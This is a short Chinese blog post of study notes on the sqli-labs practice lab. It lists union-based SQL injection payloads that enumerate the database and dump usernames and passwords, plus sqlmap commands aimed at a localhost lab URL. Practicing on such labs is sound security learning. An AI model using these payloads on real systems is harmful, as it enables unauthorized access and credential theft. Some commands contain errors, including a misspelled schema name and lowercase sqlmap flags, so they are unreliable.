sqli labs學習筆記 DAY1

sqli-labs學習筆記 day1

安裝phpstudy

安裝配置sqli-labs

please input the id as parameter with numeric value

猜測：select *** from *** where id=『x』;（猜測id為文字）

嘗試注入點：?id=1』 and 1=2; --+

字段數猜解：?id=1』 order by n; --+（注意空格替換為+，其中n為猜解的字段數，如果報錯，則說明猜解大於實際，如此進行二分猜解）

回顯點查詢：?id=999』 union select 1,2,3; --+

查詢資料庫版本與路徑：id=999』 union select 1,@@version,@@datadir; --+

查詢使用者與資料庫：id=999』 union select 1,user(),database(); --+

查詢所有表名：?id=999』 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=『security』; --+

查詢所有列名：?id=999』 union select 1,2,group_concat(column_name) from infromation_schema.columns where table_name=『users』; --+

獲得使用者名稱和密碼：?id=999』 union select 1,group_concat(username),group_concat(password) from security.users; --+

xss：?id=999』 union select 1,"",3; --+

sqlmap使用：

測試命令：python sqlmap.py

檢測注入點：python sqlmap.py -u 「http://localhost/sqli-labs-master/less-1/?id=1」

獲取當前使用者與當前資料庫：python sqlmap.py -u 「http://localhost/sqli-labs-master/less-1/?id=1」 --current-user --current-db

查詢資料庫中的所有表：python sqlmap.py -u 「http://localhost/sqli-labs-master/less-1/?id=1」 -d security --tables

查詢欄位名：python sqlmap.py -u 「http://localhost/sqli-labs-master/less-1/?id=1」 -d security -t users --columns

查詢所有記錄：python sqlmap.py -u 「http://localhost/sqli-labs-master/less-1/?id=1」 -d security -t users -c 「username,password」 --dump

2019-02-16 17:26

tiumo 閱讀(

...)

編輯收藏